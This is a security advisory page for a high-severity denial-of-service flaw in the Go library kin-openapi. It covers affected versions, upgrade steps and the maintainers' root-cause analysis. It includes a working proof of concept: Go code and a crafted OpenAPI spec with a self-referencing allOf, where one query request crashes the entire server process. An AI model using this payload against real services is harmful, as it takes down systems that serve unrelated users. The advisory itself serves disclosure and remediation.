kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash
CVE-2026-100354 · GHSA-g8cf-rcjf-c8cf · published 15 Oct 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-100354?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/getkin/kin-openapi(Go) < 0.149.0
How to check
- Run
go list -m github.com/getkin/kin-openapiin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/getkin/kin-openapito 0.149.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
kin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error.
The runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a **fatal stack overflow** (`runtime: goroutine stack exceeds ... limit` / `fatal error: stack overflow`), which is **not** a recoverable panic. `recover()` cannot catch it, so `net/http`'s per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.
Two independent unguarded recursion sites were confirmed:
1. `openapi3/schema.go` — `visitJSON` / `visitXOFOperations` (reached by `VisitJSON`, i.e. response validation and direct schema validation).
2. `openapi3filter/req_resp_decoder.go` — `decodeValue` (reached first during request parameter decoding). The report also identifies the same gap in `urlValuesDecoder.parseValue` and `buildResObj`/`buildFromSchemas`.
## Details
### Root Cause
`Schema.validate()` has cycle detection (`openapi3/schema.go:1396`):
```go
func (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {
if slices.Contains(stack, schema) {
return stack, nil
}
// ...
stack = append(stack, schema)
```
The runtime visitor has none. `visitJSON` (line 1951) calls `visitXOFOperations` (line 2189), which iterates the combinator slice and calls `visitJSON` again on each sub-schema:
```go
func (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {
// ...
for idx, item := range v { // v = schema.OneOf / AnyOf / AllOf
v := item.Value
// no check for item.Value == schema (or any ancestor)
if err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle
```
The request-decoding path has the same structure in `decodeValue` (`openapi3filter/req_resp_decoder.go:270`):
```go
func decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {
if len(schema.Value.AllOf) > 0 {
for _, sr := range schema.Value.AllOf {
value, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check
```
## Proof of Concept
### Environment
- kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`)
- Go 1.26.7
### Path A: response / direct schema validation (`VisitJSON`)
A schema whose `allOf` refers to itself. `Validate()` is called first to show the schema is accepted, then `VisitJSON()`:
```go
recursiveSchema := &openapi3.Schema{
Type: &openapi3.Types{"object"},
Properties: openapi3.Schemas{"name": {Value: &openapi3.Schema{Type: &openapi3.Types{"string"}}}},
}
recursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular
_ = recursiveSchema.Validate(ctx) // accepted, no error
_ = recursiveSchema.VisitJSON(map[string]any{"name": "test"}) // crashes
```
Output:
```
Validate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it
Calling VisitJSON() -- expect fatal stack overflow (unrecoverable)...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
goroutine 1 [running]:
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
openapi3/schema.go:1951
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
openapi3/schema.go:2309
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
openapi3/schema.go:1981
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
openapi3/schema.go:2309
... (repeats until stack overflow)
```
A `defer recover()` placed around the call did **not** catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.
### Path B: HTTP request validation against a loaded spec (realistic delivery)
A legal OAS 3.0 spec with a circular `allOf` `$ref`, loaded normally, served behind a standard `net/http` handler using `openapi3filter.ValidateRequest`:
```yaml
openapi: '3.0.0'
info: { title: Circular allOf crash PoC, version: '1.0' }
paths:
/test:
get:
parameters:
- name: data
in: query
schema: { $ref: '#/components/schemas/Recursive' }
responses: { '200': { description: OK } }
components:
schemas:
Recursive:
type: object
allOf:
- $ref: '#/components/schemas/Recursive'
properties:
name: { type: string }
```
A single `GET /test?data=x` crashes the whole server process:
```
Validate() ACCEPTED the spec with circular allOf $ref
Sending GET /test?data=x through a real net/http server...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
...
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
openapi3filter/req_resp_decoder.go:278
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
openapi3filter/req_resp_decoder.go:278
... (repeats until stack overflow)
```
The line printed after the request ("the process survived") was never reached, and the process exited with a non-zero code — the standard `net/http` per-connection `recover()` did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.
### Fix verification
Adding stack-based cycle detection to both sites (matching `validate()`'s pattern) eliminated the crash:
- `visitJSON` guard: `VisitJSON()` returned normally instead of crashing.
- `decodeValue` guard: the same `GET /test?data=x` returned a clean `400`:
```
Response: 400 "invalid: parameter \"data\" in query has an e…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/getkin/kin-openapi/security/advisories/GHSA-g8cf-rcjf-c8cf
- nvd.nist.gov/vuln/detail/CVE-2026-100354
- github.com/getkin/kin-openapi/commit/9245cef66c840e27a08409a8a5cd0ee930c5bcff
- github.com/getkin/kin-openapi/releases/tag/v0.149.0
- github.com/advisories/GHSA-g8cf-rcjf-c8cf
Merged from GitHub Advisory Database. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON